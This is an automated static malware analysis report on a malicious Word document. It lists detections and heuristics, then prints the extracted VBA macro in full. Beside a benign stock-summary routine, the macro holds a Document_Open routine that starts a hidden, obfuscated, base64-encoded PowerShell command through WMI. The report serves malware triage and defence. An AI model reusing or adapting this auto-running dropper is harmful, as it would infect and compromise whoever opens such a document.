Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3f812e636a0e5a50…

MALICIOUS

Office (OLE)

72.0 KB Created: 2020-03-04 13:55:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: ff984f8d2cd85b227a128eca24461665 SHA-1: 215562eef9738a579bee3fce458183fadbea2719 SHA-256: 3f812e636a0e5a50a43032ee2ff191f1ae6a1f7bf392f1a60e71a4178b8ef034
252 Risk Score

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-7609655-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7609655-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Call GetObject("winmgmts:root\cimv2:Win32_Process"). _
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Call GetObject("winmgmts:root\cimv2:Win32_Process"). _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4901 bytes
SHA-256: 0ec6a126503bfa1eb9ed880d3d87db02a81d0e007e4e2c4e362bf6cced0c129c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub StockMarketAnalysis():

    ' loop / iterate through all Worksheets
    For Each ws In Worksheets

        ' column headers / data field labels
        ws.Range("I1").Value = "Ticker"
        ws.Range("J1").Value = "Yearly Change"
        ws.Range("K1").Value = "Percent Change"
        ws.Range("L1").Value = "Total Stock Volume"
        ws.Range("O2").Value = "Greatest % Increase"
        ws.Range("O3").Value = "Greatest % Decrease"
        ws.Range("O4").Value = "Greatest Total Volume"
        ws.Range("P1").Value = "Ticker"
        ws.Range("Q1").Value = "Value"

        ' set/declare initial variables and set default/baseline variables
        Dim TickerName As String
        Dim LastRow As Long
        Dim TotalTickerVolume As Double
        TotalTickerVolume = 0
        Dim SummaryTableRow As Long
        SummaryTableRow = 2
        Dim YearlyOpen As Double
        Dim YearlyClose As Double
        Dim YearlyChange As Double
        Dim PreviousAmount As Long
        PreviousAmount = 2
        Dim PercentChange As Double
        Dim GreatestIncrease As Double
        GreatestIncrease = 0
        Dim GreatestDecrease As Double
        GreatestDecrease = 0
        Dim LastRowValue As Long
        Dim GreatestTotalVolume As Double
        GreatestTotalVolume = 0

        ' determine the last row
        LastRow = ws.Cells(Rows.Count, 1).End(xlUp).Row
        
        For i = 2 To LastRow

            ' add to ticker total volume
            TotalTickerVolume = TotalTickerVolume + ws.Cells(i, 7).Value
            ' check if we're still within the same ticker name if it is not...
            If ws.Cells(i + 1, 1).Value <> ws.Cells(i, 1).Value Then

' cowards way out <3

                ' set ticker name
                TickerName = ws.Cells(i, 1).Value
                ' print the ticker name in the summary table
                ws.Range("I" & SummaryTableRow).Value = TickerName
                ' print the ticker total amount to the summary table
                ws.Range("L" & SummaryTableRow).Value = TotalTickerVolume
                ' reset ticker total
                TotalTickerVolume = 0

                ' set Yearly Open, Yearly Close and Yearly Change Name
                YearlyOpen = ws.Range("C" & PreviousAmount)
                YearlyClose = ws.Range("F" & i)
                YearlyChange = YearlyClose - YearlyOpen
                ws.Range("J" & SummaryTableRow).Value = YearlyChange

                ' determine Percent Change
                If YearlyOpen = 0 Then
                    PercentChange = 0
                Else
                    YearlyOpen = ws.Range("C" & PreviousAmount)
                    PercentChange = YearlyChange / YearlyOpen
                End If
                ' format double to include % symbol and two decimal places
                ws.Range("K" & SummaryTableRow).NumberFormat = "0.00%"
                ws.Range("K" & SummaryTableRow).Value = PercentChange

                ' conditional formatting highlight positive (green) / negative (red)
                If ws.Range("J" & SummaryTableRow).Value >= 0 Then
                    ws.Range("J" & SummaryTableRow).Interior.ColorIndex = 4
                Else
                    ws.Range("J" & SummaryTableRow).Interior.ColorIndex = 3
                End If
            
                ' add one to the summary table row
                SummaryTableRow = SummaryTableRow + 1
                PreviousAmount = i + 1
                End If
            Next i

End Sub

Sub Document_Open()
Call GetObject("winmgmts:root\cimv2:Win32_Process"). _
Create(StrReverse("AAHAsBQYA8GAxAAdAACA0BwcAkGAMBAdA4GAlBQbAUHAnBgcAEEAtAAIA0GAvBwYA4CAvBAZAkGA2BAIAMHAzBQZAMGAvBgcAAFAtAAdAIHAhBAdAMFAgAAIAsDAwBAbAEGAvBQMAQHAgAQYAIHAlBgZAMHAgAQZAQGAvBwYAUGAkBQLAACAsBQaAQHA1BAdAIHAlBwYAACA7AgIAAFANBQRAQFA6AgdA4GAlBAJAICAgAAaAQHAhBAUA0CAgAgbA8GApBAdAEGAjBwbAwEAtAAdAUGATBAIAsDAiAQbA8GAjBgLAAFAOBwSAQGAcBAUA0EAFBAVAoDA2BgbAUGAkAgIAwCAiAQYAIHAlBgZAMHAcBAUA0EAFBAVAoDA2BgbAUGAkAgIAwCAiAQbA8GAjBgLA8GAkBQaAYHAcBAUA0EAFBAVAoDA2BgbAUGAkAgIAACAuBwbAkGA0BQYA4GApBAdAMHAlBARA0CAgAAdAEGAkBgLAAFAOBwSAQGAvAQZAQHApBwcA4CA1AAcAIHAvBwYA8CAvAgOAAHA0BAdAgGAsAAdAEGAkBgLAcGAhBQZAYEA4BwLAUGA0BQaAMHAuAQNAAHAyBwbAMGAvAwLAoDAwBAdAQHAoBALAQHAhBAZA4CAUBgUAUGAZBwLAUGA0BQaAMHAuAQNAAHAyBwbAMGAvAwLAoDAwBAdAQHAoBAIAUGAjBgcAUHAvBwUA0CAgAgcAUGAmBwcA4GAhBgcAQFAzBAdAkGACBQLAQHAyBQYAQHATBAIAsDAyBQZAYGAzBgbAEGAyBAVAMHA0BQaAIEAgAQZAwGA1BAZA8GANBQLAQHAyBwbAAHAtBQS ocne- neddih elytswodniw- llehsrewop"), Null, Null, jsakI)

End Sub